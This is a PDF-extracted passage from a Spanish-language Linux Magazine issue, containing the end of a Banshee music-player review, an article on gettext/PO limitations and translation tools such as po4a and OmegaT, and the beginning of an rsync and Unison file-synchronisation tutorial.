Figura 3: El plugin Tray proporciona una presentación elegante de la información de pista.

Figura 2: Uso del cuadro de diálogo de iPod

Properties para administrar las

configuraciones iPod.

Banshee • LINUX USER

77Número 20W W W . L I N U X - M A G A Z I N E . E S

Page 78: Linux Magazine - Edición en Castellano, Nº 20

seleccionar la lista, y un clic derecho

para desplegar el menú contextual. Al

principio no se tendrá una lista de

reproducción, así que la única opción

es seleccionar Add to Playlist | New

Playlist. Se da un clic derecho a la

nueva lista de reproducción, y se

selecciona Rename Playlist para cam-

biar el nombre. A continuación puede

compilarse la lista paso a paso.

Etiquetas versusMetadatosEl elemento Edit Song Metadata

soporta información de pista de fácil

edición. Mi primer intento para editar

la información de pista almacenada

en las etiquetas ID3 de una librería de

música en una partición Samba mon-

tada produjo unos resultados

sorprendentes.

Aunque Banshee aplicó los cambios

de manera directa, otros reproducto-

res de audio que accedieron a los

mismos datos ignoraron los cambios.

Algunas investigaciones revelaron

que Banshee leerá las etiquetas ID3

existentes, aunque no almacena los

cambios en estas etiquetas. Banshee

almacena información de la pista en

una base de datos Sqlite bajo ~/

.gnome2/banshee/banshee.db. Evi-

dentemente, la información no es

accesible para otros programas de

reproducción.

Ripear y TostarBanshee añade CDs de audio a tu

colección de una manera fácil.

Cuando se inserta un disco, el pro-

grama consulta automáticamente la

información del CD y presenta el

título del álbum. Haciendo clic sobre

éste último presenta las pistas en el

panel derecho y el botón Write CD

cambia a Import CD.

Tostar ficheros Ogg o MP3 es muy

fácil: se usa una lista de reproduc-

ción o una lista de búsqueda para

crear un CD, luego se pulsa Write CD

para crear un CD de audio para el

reproductor del coche. Banshee pasó

con creces nuestras pruebas de

varios formatos de salida.

ConclusionesAlgunas funciones, como el ripeado

o el tostado de CDs de audio o el

enchufado en caliente de reproduc-

tores de MP3, son francamente

buenas. Banshee tiene una buena

apariencia, aunque, por otro lado, la

creación de la lista de reproducción

fue poco intuitiva.

La solución provisional de Bans-

hee cuando almacena información

de pista es cuestionable, sin

embargo el programa se encuentra

en un estado de desarrollo tem-

prano, así que aún tenemos

esperanza. Tanto si Banshee se con-

vierte en tu reproductor favorito,

como si no, definitivamente oirás

más el grito de Banshee en un

futuro. �

El cuadro de búsqueda en la parte

superior derecha hace más fácil la

creación de listas o la búsqueda de la

librería de música. Cuando se intro-

duce un término para su búsqueda, la

lista en el panel bajo el cuadro de

búsqueda presenta una lista de coin-

cidencias. Pueden usarse los

encabezamientos de las columnas

para clasificar la lista por artista o

género. El orden de la columna es

libremente configurable: se hace clic

en el encabezamiento de la columna,

se mantiene pulsado el botón

izquierdo del ratón y se arrastra el

encabezamiento a la posición reque-

rida.

Para añadir la lista completa de las

coincidencias a la lista de reproduc-

ción, se pulsa [Ctrl]+[A] para

LINUX USER • Banshee

[1] Página de inicio de Banshee: http://

banshee-project.org

[2] Instalación desde el código fuente:

http://banshee-project.org/

Banshee_Source

[3] Página de inicio de Rhythmbox: http://

www.gnome.org/projects/rhythmbox

[4] Página de inicio de Amarok: http://

amarok.kde.org

[5] Página de inicio de Last.fm: (Audio-

scrobber): http://www.last.fm

[6] “Radio Personal”, por Marcel

Hilzinger. Linux-Magazine, Número

19.

RECURSOS

Banshee tiene los plugins siguientes,

todos accesibles vía Edit / Plugins…:

Audioscrobbler. Envía información

sobre las pistas reproducidas en Ban-

shee a la página web, Last.fm [5], [6]. El

plugin supone que el usuario dispone de

una cuenta de usuario Last.fm.

Music sharing. Muestra tu colección a

otros usuarios con Banshee, Rhythmbox

y iTunes. Para habilitar el plugin se nece-

sitan los paquetes banshee-daap y

avahi-daemon.

File System Monitor. Controla el estado

de tu carpeta de música y actualiza la

librería de audio si es necesario.

Multimedia Keys. Añade soporte para

teclas multimedia configuradas en

Gnome.

Metadata Searcher. Busca la librería de

audio y añade información de pista per-

dida y cubiertas de álbumes.

Notification Area Icon. Presenta el

icono del programa en el campo de

mensaje del panel de Gnome.

Plugins de Banshee

Page 79: Linux Magazine - Edición en Castellano, Nº 20

¡Veinte artículos! Esta modesta sección

de educación llega a su entrega número

veinte, es el momento quizás de hacer

un pequeño balance. Si desde el principio

quisimos darle una orientación práctica,

creo que ha primado el carácter exploratorio

de los artículos: hemos presentado herra-

mientas no muy conocidas por el público, o

aspectos novedosos de las mismas. La única

justificación está en la psicología del autor:

quizás confunda la obligación de no aburrir

con la de no aburrirse. Aun a riesgo de ser

un tanto demasiado oscuro, o técnico, o

conciso (tengo una justificación, las entre-

gas tienen que caber en cuatro o cinco

páginas).

Hemos querido cubrir un amplio espectro

de destinatarios, con artículos con herra-

mientas para Infantil (que alegan ser los

grandes olvidados de la formación en TIC),

especializadas para materias específicas,

plataformas de colaboración, buscadores de

recursos educativos, exploraciones del

estado de la atención a la diversidad… artí-

culos para un lector que se defiende

informáticamente y busca orientación en el

campo del uso pedagógico. No sé si ese des-

tinatario existe o si está en construcción,

como tampoco sé si hemos logrado el difícil

equilibrio entre el tono educativo y el que

corresponde a una revista de informática.

Creo que esta mínima reflexión basta en

ausencia de feedback. Sirva como introduc-

ción a un nuevo cambio de nivel: en esta

ocasión vamos a analizar con detalle una

tecnología, y volveremos a la eventual apli-

cación a las aulas en la siguiente entrega.

¿Que por qué? Porque es necesario, en este

caso puedo afirmarlo con rotundidad.

Los problemas de PODecíamos el mes pasado que la tecnología get-

text y el formato PO habían logrado un nivel

de madurez y eficacia considerables, y permi-

tían la traducción de las interfaces de usuario

de los programas a la gran mayoría de los idio-

mas y escrituras del mundo. También hacían

fácil el trabajo de actualización por parte del

traductor de sus traducciones, a la vez que

protegía el código de manos no técnicas sepa-

rando las fuentes y los ficheros con las

cadenas que deben traducirse. Finalmente, en

el balance de lo positivo, es una tecnología

adaptada a los lenguajes de programación

más usados, y las herramientas actualmente

disponibles permiten el uso de diccionarios y

memorias de traducción.

Sin embargo tanto la tecnología como el for-

mato presentan una serie de problemas que

vamos a enumerar, junto con varios intentos

de responder a ellos. Hay que decir de todas

formas que algunos de los problemas que

señalamos aquí se dan en todos los sistemas

de traducción ayudada por ordenador; pero

mal de muchos… no dejan de ser nuestros

problemas.

Problema 1. Gettext extrae las cadenas que

hay que traducir de los ficheros de código.

¿Qué ocurre con el resto (la gran mayoría) de

los documentos: ficheros de texto, html, de

Open Office o MS Word, LaTeX o el cada vez

más usado DocBook (xml)? ¿cómo traducir

los ficheros man de ayuda, en formato groff,

los Readme.txt o los info? ¿Y los textos conte-

nidos en los archivos gráficos como svg o dia

(que también son xml) o Impress? Los recur-

sos con texto que traducir (subtítulos,

interfaces verbales…) están cada vez más pre-

sentes.

Gettext no se inventó para traducir docu-

mentación. Ahora bien, en la práctica real, y

aunque nadie la lea, ésta cada vez es más

extensa y necesaria. Los usuarios tienen la

tendencia a comprobar si existe, y a protestar

si está en un idioma que no comprenden. Es

obvio que puede utilizarse cualquier editor de

textos, es cuestión de paciencia… se abren

dos ventanas, con el texto original y el destino,

y se trabaja ¿cuál es el problema entonces? No

estamos hablando sólo de que no podemos

utilizar nuestras herramientas habituales; la

verdadera dificultad está en la imposibilidad

de automatizar la reutilización de lo ya tradu-

cido cuando es necesario enfrentarse a una

nueva versión. Sólo hay que imaginarse revi-

sando frase por frase y palabra por palabra las

posibles modificaciones, inserciones, elimina-

ciones o para nuestra total confusión cambios

de lugar para darse cuenta de que necesita-

mos una solución mejor y generalizable.

Necesitamos un programa que al igual que

gettext separe lo que hay que traducir de lo

que es marca o información no traducible (en

“<h1>Hello<strong>Dolly</strong></h

1>” sólo hay que traducir “Hello” y saber que

“Dolly” es mejor no tocarla), que extraiga las

cadenas con las que vamos a trabajar del

fichero original (marcando donde estaban) y

genere finalmente un fichero destino equiva-

lente pero traducido.

Problema 2. Un segundo problema nos

desafía, en este caso de carácter técnico. Los

mensajes de una interfaz de usuario, los

Educación • LINUX USER

79Número 20W W W . L I N U X - M A G A Z I N E . E S

La traducción del software libre

TRABAJO EN EQUI/POEn la primera entrega de esta serie hemos hablado de la tecnología gettext; ahora es el momento de resumir

sus ventajas pero también de señalar sus defectos. Qué triste sería el artículo si no pudiéramos hablar

también de las soluciones, de las alternativas… POR JUAN RAFAEL FERNÁNDEZ GARCÍA.

Page 80: Linux Magazine - Edición en Castellano, Nº 20

caracteres coincidentes; pero entonces el

carácter más o menos dudoso de una

traducción propuesta depende de la longitud

en caracteres de sus palabras.

Es preciso un sistema que determine clara-

mente las palabras que constituyen la cadena

de texto que va a traducirse. La solución de

este problema está lejos de ser evidente: hay

que hacer ver que en el ejemplo anterior

“Dolly” y “<strong>Dolly</strong>” son

la misma palabra, que “Dol.ly” sería una

única palabra catalana, y determinar si

“strawman” (o “matter-of-fact” o “Weltans-

chauung”) se miden como una palabra o

como dos.

Un problema adicional, el problema 4 se da

en contextos multilenguaje: PO se creó para

traducir de un lenguaje a otro lenguaje. ¿Qué

ocurre si el texto fuente está escrito en varios

idiomas (por ejemplo si contiene citas en

latín)? Peor aún, ¿qué pasa si las codificacio-

nes entre los distintos idiomas (Big5, cirílico)

no son compatibles?

Nuestro problema 5 tiene que ver con el

detalle del formato PO. La especificación es

imprecisa. Intencionalmente imprecisa.

¿Cómo y quién especifica el formato? Un men-

saje de Bruno Haible del 3 de abril de 2006 a la

lista Translation-i18n nos da todas las claves:

“Esta cierta falta de claridad en la especifica-

ción [está respondiendo a una crítica] se usa

para la evolución del formato. En los últimos

seis años hemos hecho más estricto el reconoci-

miento de los mensajes obsoletos; hemos

añadido nuevos campos a los cabecera PO;

añadimos la posibilidad de fusionar la cabe-

cera de distintos ficheros en uno solo usando

msgcat; hemos añadido nuevas tipos de

comentarios #,; se añadió una nueva palabra

clave msgctxt… En el futuro es posible que se

sigan añadiendo nuevos tipos de comentarios

o campos en la cabecera. Clarificar la especifi-

cación ahora y después reeescribirla de forma

incompatible no sería de ayuda para nadie.”

Esta imprecisión ocasiona que los autores

de herramientas tengan que tomar decisiones.

Sólo pondré un ejemplo, que repito siempre

(es una de mis pesadillas recidivantes). El

robot del Proyecto de Traducción Libre asume

con tal rigidez sus reglas sobre lo que es una

cabecera PO correcta (y rechaza el mensaje en

tal caso, una y otra vez, sin cansancio ni pie-

dad) que estoy seguro de que pocos, muy

pocos de los ficheros PO propios de los pro-

yectos GNOME o KDE pasarían la prueba. La

prueba, la figura 1. El fichero no era aceptable

para el robot, a pesar de que era válido para

msgfmt.

Este problema tiene su corolario: es difícil

determinar la validez de un fichero PO.

Problema 6: el contexto es

indeterminado. Todos sabemos que la misma

expresión puede tener un sentido totalmente

distinto, y por tanto exigir una traducción dife-

rente, dependiendo del contexto. El problema

de nuestro sistema (y de las memorias de tra-

ducción sin contexto) es que la misma

expresión traducida una vez se dará por tradu-

cida en sus siguientes apariciones.

Como no es del todo seguro que tratemos

en estos artículos de asuntos marginales, y

como entre entrega y entrega transcurre su

tiempo, ocurre que tenemos nueva versión, y

precisamente pertinente. El 24 de julio de 2006

textos de un menú… son por esencia cortos.

Ahora nos encontramos ante largos párrafos.

Sin embargo la reutilización y la construcción

de memorias de traducción se basan en las

coincidencias dentro de un mismo segmento.

Si la unidad de segmentación es el párrafo las

coincidencias prácticamente desaparecerán.

Es necesario resolver el problema de la

segmentación de los textos. ¿Es la oración la

unidad de traducción óptima? No tan rápido,

amigo, que nos precipitamos. En primer lugar

la definición algorítmica de lo que es una

oración no es trivial (el punto, “.”, no siempre

separa oraciones, ¿verdad? -hay por tanto que

agotar los casos en que sí o en que no), en

segundo lugar lo que en una lengua se

expresa naturalmente mediante una oración

puede requerir de varias en otra. Estamos en

ese fácil momento en el que sólo nos

corresponde ser destructivos, sigamos pues

con la lista de problemas.

Del anterior deducimos el problema

relacionado de las coincidencias parciales

(fuzzies, problema 3). ¿Cómo se detectan

estas coincidencias difusas? Hay que ponerse

un poco más técnicos aún: mediante la

función fstrcmp (de “comparación difusa de

cadenas”). Ya lo preguntamos en la lista de

distribución de LuCAS ¡en el año 2003! y

tuvimos la suerte de que Santiago Vila nos

contestara (ver el cuadro). Por supuesto,

técnico o no, el tema reaparece una y otra vez,

porque de estas traducciones dudosas

propuestas depende gran parte de la utilidad

de la informatización de la traducción. La

forma de cuantificar las coincidencias de

cadenas es expresar el tanto por ciento de

LINUX USER • Educación

80 Número 20 W W W . L I N U X - M A G A Z I N E . E S

Rectificar es de sabios, y de sus imitadores (y un autor de artículos, picoteando en cien sitios, no puede dejar de ser patético en oca-siones). Durante bastante tiempo sostuve (y dejé escrito) que la base de la búsqueda de coincidencias de gettext no debía ser más queun diff(). Hasta que tuve la humildad de preguntarlo. Éste es un extracto del mensaje de respuesta de alguien que sí sabe, Santiago Vila,a la lista de distribución de LuCAS, 1 de octubre de 2003:

”Las comparaciones de una cadena con otra se hacen con la función fstrcmp que está en gettext-tools/lib/fstrcmp.c [aquí remite a la lec-tura del código fuente de la función, que incluye un esbozo de manual de uso…]

Al principio [del fichero] se lee lo siguiente:

Derived from GNU diff 2.7, analyze.c et al.

The basic algorithm is described in: “An O(ND) Difference Algorithm and its Variations”, Eugene Myers, Algorithmica Vol. 1 No. 2, 1986,pp. 251-266; see especially section 4.2, which describes the variation used below.

The basic algorithm was independently discovered as described in: “Algorithms for Approximate String Matching”, E. Ukkonen, Infor-mation and Control Vol. 64, 1985, pp. 100-118.

Unless the ‘minimal’ flag is set, this code uses the TOO_EXPENSIVE heuristic, by Paul Eggert, to limit the cost to O(N 1.5 log N) at theprice of producing suboptimal output for large inputs with many differences.

Modified to work on strings rather than files by Peter Miller <[email protected]>, October 1995.”

El 13 de marzo de 2006, en el hilo “msgmerge fuzzy-search” de la lista Translation-i18n, discuten Bruno Haible y Danilo Segan la posibili-dad de ir más allá en el desarrollo de gettext añadiendo nuevos (o mejores) algoritmos de búsqueda de coincidencias difusas. Una de laposibilidades que se plantea Haible: “algoritmos basados en palabras, como ignorar los signos de puntuación o las marcas HTML,podrían sustituir a fstrcmp() en determinadas situaciones”.

Cuadro 1: Cómo se calculan las coincidencias difusas

Page 81: Linux Magazine - Edición en Castellano, Nº 20

el mismo Bruno Haible vuelve a dirigirse a la

lista Translation-i18n anunciando la versión

0.15 de gettext, con entre otras la siguiente

importante novedad:

Los ficheros PO pueden ahora contener men-

sajes limitados a un determinado contexto.

Casi siempre dicho contexto será la identifica-

ción de un menú, de un diálogo o de un panel.

La sintaxis es

msgctxt “contexto”

msgid “original”

msgstr “traducción”

Por supuesto, a falta de usos creativos, esta es

una solución sólo parcial al problema general

del contexto. Y también seguimos ante un for-

mato que proporciona al traductor una

información estructural deficiente.

Problema 7: la interpersonalidad de los

equipos de traducción. Aunque frecuente-

mente una sociedad de más de dos personas

es una multitud y por lo tanto un problema,

no nos referimos a eso. Tal como la hemos

visto hasta ahora, el proceso de traducción ha

sido una tarea individual. Una persona asume

la responsabilidad de traducir un fichero,

envía su traducción, y ahí acaba todo. Pero

esta descripción está lejos de ser adecuada

para el flujo real de trabajo de un equipo eficaz

de traducción. En dos sentidos principales.

Primeramente, porque para que tengan un

mínimo de calidad (casi diríamos de inteligibi-

lidad) las terminologías utilizadas deben ser

coherentes (se traducirán los mismos térmi-

nos de forma igual por parte de todos los

traductores del grupo), se deberán compartir

las memorias de traducción, etc.

En un segundo sentido, problema 8, por-

que las personas que intervienen en el

proceso son más. Para un correcto flujo de

trabajo son necesarios un coordinador, un sis-

tema de asignación o reserva de tareas, uno o

varios traductores para cada fichero, revisores

de las traducciones, personas que se encar-

guen de las terminologías y de las memorias

de traducción así como del estudio, adecua-

ción y actualización de las herramientas

utilizadas, etc. De todos estos pasos debe que-

dar constancia, así como de las conclusiones

de las discusiones. Teniendo en cuenta que el

proceso es cíclico, continuamente se producen

nuevas versiones y se incorporan nuevos

ficheros al sistema. Las soluciones a este pro-

blema deberán ser externas, quizás

aprovechando los datos que nos ofrece el for-

mato PO en su cabecera: último traductor,

grupo… quizás convenga para tomar siquiera

conciencia del grado de detenimiento con el

que la industria de la traducción ha analizado

el problema, examinar la figura 2[1].

Este problema trae de cabeza a los coordi-

nadores de los grupos. Por un lado el perfil

típico clásico del traductor voluntario es el de

un estudiante de ingeniería (esto lo vamos a

corregir, ¿verdad?, ¡a partir de ahora serán pro-

fesores de idiomas!), con un conocimiento

limitado del inglés, y que tampoco domina las

decisiones terminológicas a las que se haya

podido llegar en el grupo. Por uno que per-

siste, varios picotean (son voluntarios), y

cuando el coordinador señala los errores

cometidos suelen desaparecer. ¿Cómo conci-

liar la necesidad de facilitar el trabajo a los

nuevos traductores, ofreciéndoles interfaces

intuitivas, orientación terminológica, etc., con

la de elevar el nivel de calidad de las traduccio-

nes? Profesionalizando el flujo de trabajo, para

poder exigir.

Del problema 3 concluimos que es necesa-

rio determinar de manera objetiva el

número de palabras

que constituyen un

texto (nuestro pro-

blema 9º). De la

importancia del pro-

blema para la

industria de la tra-

ducción (que no

puede aceptar que

cada herramienta dé

un resultado distinto,

la facturación por

palabras es una cues-

tión seria) da cuenta

la creación de un

grupo de trabajo para

la redacción de un

estándar[2]. Una

ilustración bastará, gedit informaba de que

este documento antes de incluir esta frase con-

tenía 2709 palabras. Un previo es_ES wc -w

traducc_2.txt daba como salida 2464 tra-

ducc_2.txt.

Problema 10: la mayoría de los traducto-

res profesionales y estudiantes de

traducción usan herramientas comerciales

que no aceptan el formato PO; es el fenó-

meno que vamos a llamar aislamiento de las

comunidades. Sería un problema menor si

este formato fuera manifiestamente superior,

pero el problema se agrava si existe un for-

mato abierto y aceptado por la industria para

la misma función, XLIFF, y otro para el inter-

cambio de memorias de traducción, TMX.

Conversores de documentación

a PO

Recordemos de la anterior entrega que PO es

el formato con el que trabajan las herramien-

tas de traducción disponibles clásicamente[3].

Por tanto la primera opción es crear un con-

versor del formato de los documentos a PO.

En el mundo del software libre, y que se me

perdone la exageración, sólo hay cuatro for-

matos de texto que cuentan: el odt de

Educación • LINUX USER

81Número 20W W W . L I N U X - M A G A Z I N E . E S

Figura 1: el robot del Proyecto de Traducción

Libre haciendo de las suyas.

Figura 2: El flujo de trabajo del proceso de

traducción.

Figura 3: Comparativa de herramientas.

Page 82: Linux Magazine - Edición en Castellano, Nº 20

La versión 0.27.2, de 8 de agosto de 2006 (en

el cvs de alioth se está preparando la versión

0.29), trabaja con nroff (para los man), pod,

sgml, xml, docbook, dia, info, latex, html…

auqnue no todos los módulos tienen el

mismo nivel de madurez). En su momento

hice mis pruebas con la conversión de fuen-

tes LaTeX. Lo hacía así

TEXINPUTS=U

/usr/share/texmf/tex/latex/base\

po4a-gettextize -f latex \

-m $1 -M iso-8859-1 \

-p $file.pot \

-o exclude_include=content-es:U

application-es

Porque desde hace tiempo po4a es la herra-

mienta que se utiliza en proyectos como

Debian para muchas de sus tareas internas

de traducción (por ejemplo para los mensa-

jes de las ventanas de configuración de

debconf, o para el proyecto renacido de tra-

ducir las descripciones de las aplicaciones).

En la jerga, po4a es una de las aplicaciones

básicas no esenciales de la cadena de herra-

mientas de Debian congelada recientemente

para preparar la estabilidad de Etch. Además,

al ser un conjunto de aplicaciones de línea de

órdenes ejecutables en tandas más un con-

junto modular de filtros puede ser utilizado

por otras aplicaciones que presenten interfa-

ces de usuario más amigables.

Por último tenemos los filtros esta vez en

python del proyecto Translate, el Translate

Toolkit[6] (paquete translate-toolkit, pofilter

—version nos señala la versión 0.9.1). Nos

proporciona las siguientes utilidades de nom-

bres transparentes: oo2po, sxw2po, moz2po,

csv2po, ts2po, txt2po, html2po, xliff2po,

tiki2po y sus inversas. Sobre este proyecto y

sobre pootle hablaremos largo y tendido en la

siguiente entrega.

Volviendo a nuestras reflexiones iniciales

sobre los problemas que la tecnología de la

traducción libre debe resolver, vemos que

hemos avanzado únicamente en la solución

de la primera dificultad (gettext no se creó

para traducir documentación o recursos). Sin

embargo hemos puesto las bases también,

mediante la creación de filtros de conversión,

para que herramientas de nivel superior per-

mitan mejores interfaces de cooperación y

control (las veremos en la siguiente entrega).

Por otro lado ya vimos que el tema de las

traducciones dudosas no estaba tan verde

como nos había parecido en su momento (a

falta de una solución de segmentación y ali-

neamiento adecuados).

OmegaTUna solución alternativa, aunque también se

base en el uso de filtros, nos la ofrece

OmegaT, una herramienta gráfica escrita en

java. ¿Qué es exactamente OmegaT? Como

muy bien resume Jean-Christophe Helary en

la propuesta de actualización de la documen-

tación que fue enviando a la lista de

[email protected] a lo largo del

mes de mayo de 2006

”OmegaT es una herramienta de traducción

asistida por ordenador. Toma nota de tus tra-

ducciones mientras las tecleas y te recuerda la

traducción anterior cuando encuentra un texto

similar.

OmegaT ayuda al traductor recordándole

tres cosas:

1. cómo el mismo traductor ha traducido

una oración similar a la que está traduciendo

2. cómo alguien distinto tradujo en su

momento una oración similar

3. el modo en que deben traducirse los térmi-

nos incluidos en un glosario.”

Los dos primeros puntos se refieren a las

memorias de traducción, el tercero introduce

el concepto de terminología.

Aunque la versión actual (agosto 2006) es

1.6.0 RC12a, al parecer la versión más estable

es la RC10, que carece por supuesto de algu-

nas de las nuevas características de las

versiones más recientes[7]. Mi experiencia

actual es con la versión RC8 (ver figura 4; no

conviene cambiar de versión durante el pro-

ceso de realización de una traducción).

¿Qué aporta la OmegaT 1.6.0 RC8 sobre las

antiguas versiones 1.4.X?

•Segmentación flexible por frases o porpárrafos

• Importación de TMX 1.4b (lo cual implicaque al fin se pueden reutilizar memoriascreadas para otros proyectos y con otrasherramientas), exportación de TMX 1.1Nivel 1 (básicamente para su reutilizacióndentro de otras traducciones con la misma

OmegaT, por sus deficiencias)[8].

OpenOffice, DocBook, html y LaTeX. Es

curioso que los tres primeros sean hoy formas

de XML, es la señal del éxito de esta tecnolo-

gía.

Bien, comencemos por el principio: XML

DocBook es el formato en el que está escrita la

documentación de la gran mayoría de los pro-

yectos de software libre (sí, la de KDE y la de

GNOME…) y la de muchas empresas de alta

tecnología. Los primeros que se enfrentaron

públicamente al problema de la convergencia

de herramientas entre la traducción de la inter-

faz de usuario y de la documentación fue el

equipo de traducción de KDE, en un docu-

mento con unos cuantos años ya: el KDE

Translation HOWTO[4]. La clave está en el

uso de las utilidades xml2pot, que crea la plan-

tilla POT, transxx, que crea el fichero PO en

blanco y, finalmente, po2xml, todas del

paquete poxml . O bien, si ya tenemos alguna

versión de los ficheros en supongamos inglés

y castellano:

split2po english.xmlU

español.xml > en-es.po

No debemos confundir poxml (¡ni xml2pot!)

con xml2po de Danilo Segan (parte de

gnome-doc-utils)[5], la inevitable respuesta

de GNOME. Ahora la plantilla se crearía así:

xml2po -o ejemplo.potU

ejemplo-en.xml

Terminada la traducción se procedería a

generar el fichero XML destino

xml2po -p es.poU

ejemplo-en.xml > ejemplo-es.xml

Como sabemos que aún hay irreductibles

que no usan DocBook para hacer la lista de

la compra ni para escribir sus exámenes, es

el momento de ver si hay conversores para el

resto de los formatos. El proyecto PO for Any-

thing (paquete po4a), de Denis Barbier and

Martin Quinson, generaliza el procedimiento

de ida y vuelta (formato -> PO y PO -> for-

mato).

El proyecto ha creado un conjunto de fil-

tros (exactamente módulos perl) que

convierten a y de PO a cada vez más forma-

tos, y varias aplicaciones de línea de órdenes

que los aplican. Para averiguar los formatos

que convierte la versión instalada, basta lan-

zar (po4a-gettextize es el programa que

convierte a PO)

po4a-gettextize —help-format

LINUX USER • Educación

82 Número 20 W W W . L I N U X - M A G A Z I N E . E S

Figura 4: OmegaT.

Page 83: Linux Magazine - Edición en Castellano, Nº 20

OmegaT procede de un mundo ajeno a

gettext y al formato PO, más cercano a

las herramientas usadas en el mundo

de la traducción comercial, con las que

se mide. Sorpresivamente usa el for-

mato estándar de intercambio de

memorias de traducción TMX como su

formato interno de trabajo (un texto se

convierte en memoria para trabajar

con él).

La figura 5 nos muestra en pleno

proceso de traducción, frase por frase,

y la memoria de traducción creada nos

ofrece una ayuda a la traducción

actual. No hemos creado ningún glosa-

rio en este caso (según la

documentación se crearía mediante un

fichero de extensión y codificación

.utf8, que incluiría tres columnas

separadas por tabulaciones: la palabra

-o expresión- de la lengua original, la

palabra o expresión de la lengua des-

tino y algún posible comentario, útil

para ayudar a la traducción).

¿Con qué formatos trabaja OmegaT?

Depende de la versión (se van

incorporando nuevos filtros

continuamente): texto plano, html y

xhtml, sx? y od? (las distintas

aplicaciones de las suites de

OpenOffice), un incipiente módulo PO ¡!

Para terminar no tenemos más que

pulsar la opción Generar los documen-

tos destino del menú. Mis pruebas con

html son satisfactorias. Una pega: vol-

vemos al aislamiento de las

comunidades en su faceta inversa:

¿qué hacemos con nuestros compen-

dios PO? ¿Hay alguna forma de que

OmegaT los acepte o podamos conver-

tirlos al formato TMX?

Y en el próximo número…Estudiaremos con detalle las

soluciones para lo que hemos

llamado la “interpersonalidad de los

grupos de traducción”: las

posibilidad de compartir memorias

de traducción, las interfaces web

(nos detendremos en pootle)… �

Educación • LINUX USER

83Número 20W W W . L I N U X - M A G A Z I N E . E S

[1] Esta imagen es propiedad de i18n inc. y tiene los derechos reservados.

[2] GMX-V (http://www.lisa.org/standards/gmx/) está hasta el 16 de septiembre de 2006 en fase de revisión pública, a la espera de la

aprobación oficial como un estándar de OSCAR.

[3] Estudiando el wiki del proyecto Translate (http://translate.sourceforge.net/wiki/guide/tools/comparison) hemos encontrado la comparativa

de la figura 3.

[4] Nos referimos al capítulo 4 de http://l10n.kde.org/docs/translation-howto/. Poxml (http://cia.navi.cx/stats/project/kde/kdesdk/poxml) es

obra de Stephan Kulow y Peter Wells.

[5] Xml2po está documentado por Lars Trieloff en http://weblogs.goshaky.com/weblogs/page/lars/20040823.

[6] http://translate.sourceforge.net/wiki/translatetoolkit?DokuWiki=864df61fcbfaceb8a765a56333b837fa.

[7] La información más actualizada sobre OmegaT puede encontrarse en http://www.omegat.org/omegat/omegat.html. Existe también un

sitio que reúne al grupo de usuarios y desarrolladores (http://groups.yahoo.com/group/OmegaT/). Para descargar OmegaT se visitará

SourceForge: http://sourceforge.net/projects/omegat.

¿Qué versión descargar? Depende de nuestras necesidades (las nuevas versiones incorporan nuevas funcionalidades, pero también

están menos probadas). Las resumimos:

•1.6.0 RC10 (junio 2006) incluye tres nuevos filtros para traducir ficheros INI, PO, and DocBook.

• 1.6.0 RC12a (agosto 2006): incorporado nuevo filtro XHTML que al fin maneja las características de XML.

Para la segmentación en OmegaT consultar http://sourceforge.net/support/tracker.php?aid=1053692 (las reglas de segmentación están

en el fichero $home/.omegat/segmentation.conf); aunque hace su aparición en la versión 1.4.6 Beta 2 (junio de 2005), no es utilizable

hasta las 1.6. Respecto a la importación y exportación de TMX, remitimos a http://sourceforge.net/support/tracker.php?aid=1031139.

[8] Para aclararse con el tema de las versiones y los niveles de TMX no hay nada mejor que leer este mensaje de Rodolfo M. Raya a la lista de

distribución de OmegaT de fecha 2 de junio de 2005:

There are several versions of TMX DTD:

1.1, 1.2, 1.3, 1.4, 1.4a, 1.4b

All of them have different elements and attributes. Most CAT tools work with version 1.4 and its variants.

OmegaT still works with version 1.1 of TMX DTD.

TMX Levels are a different thing. There are only two Levels and their definitions are the same across all

versions of TMX DTD.

* Level 1: only text without formatting information is stored in the TMX file.

* Level 2: text with formatting information properly encapsulated inside special elements is stored in the

translation memory.

La limitación al nivel 1 implica que la encapsulación del marcado que realizan otras aplicaciones se pierde.

NOTAS

Figura 5: Traduciendo html con OmegaT.

Page 84: Linux Magazine - Edición en Castellano, Nº 20

LINUX USER • Línea de comandos: Rsync

84 Número 20 W W W . L I N U X - M A G A Z I N E . E S

Rsync permite mantener los datos

actualizados y ayuda a controlar

los confusos cambios que se pro-

ducen en las nuevas versiones de cada

fichero. La herramienta de sincronización

Rsync ofrece opciones que ayudan a

administrar las propiedades de ficheros,

funciona bien con SSH y es perfecto para

la transferencia rápida de grandes volú-

menes de datos si el ordenador objetivo

ya posee una copia de una versión previa.

Rsync comprueba las diferencias entre la

fuente y las versiones objetivo de los

datos y transfiere solamente aquéllos que

hayan cambiado.

SincronicityRsync compara los datos en dos máquinas. La

sintaxis genérica para esto es rsync [opciones]

fuente objetivo. La elección de la fuente y el

objetivo es crítica. Es preciso decidir cuidado-

samente la dirección donde se va a realizar la

sincronización para evitar la pérdida de datos.

El cuadro “Datos Unison” presenta una alter-

nativa a esta salida de un solo sentido basada

en la herramienta Unison, la cual permite sin-

cronizar en ambas direcciones.

Rsync ofrece un apoyo importante para la

monitorización de la transferencia de datos: si

se invoca a Rsync con la etiqueta -n el pro-

grama presentará una ejecución de prueba:

$ rsync -n dirl/* dir2/

skipping directory dirl/dirl

skipping directory dir1/dir2

skipping non-regular fileU

“ficherol.tex”

kap01.tex

kap02.tex

kap03.tex

...

Tal y como muestra la salida, Rsync transferirá

ficheros y directorios pero omitirá los enlaces

simbólicos. La herramienta hace referencia a

estos últimos como ficheros no-estándar (non-

regular). Para transferir subdirectorios

Sincronización de Ficheros con Rsync

SINCRONÍZATESincronización de Ficheros con Rsync

SINCRONÍZATE

Rsync permite sincronizar datos tanto en un ordenador local como remoto. Incluso puede ser usado con

SSH para la encriptación de datos. POR HEIKE JURZIK

Unison [1] es otra importante herra-

mienta de sincronización, que no sólo

sincroniza en ambas direcciones, sino

que también soporta sistemas operati-

vos no Linux. Este programa se

encuentra disponible para Linux, Win-

dows, Mac OS X y Irix, tal y como puede

comprobarse si se echa un vistazo al

área de descarga de su sitio web.

Unison puede ejecutarse desde la línea

de comandos o desde su GUI. Para sin-

cronizar dos directorios en la máquina

local se escribe: unison -ui text carpeta1

carpeta2, por ejemplo.

Si difiere el contenido de las dos carpe-

tas, Unison dará a conocer la dirección

de sincronización y decirnos si el fichero

es nuevo o ha sido modificado.

carpeta1 carpeta2

new file ——> kap01.

tex [f]

<—— changed kap02.

tex [f]

Para aceptar esta sugerencia se pulsa

la tecla [F]. Si se presenta un conflicto

que Unison no puede resolver porque,

digamos, las dos versiones del fichero

han cambiado desde la última vez que

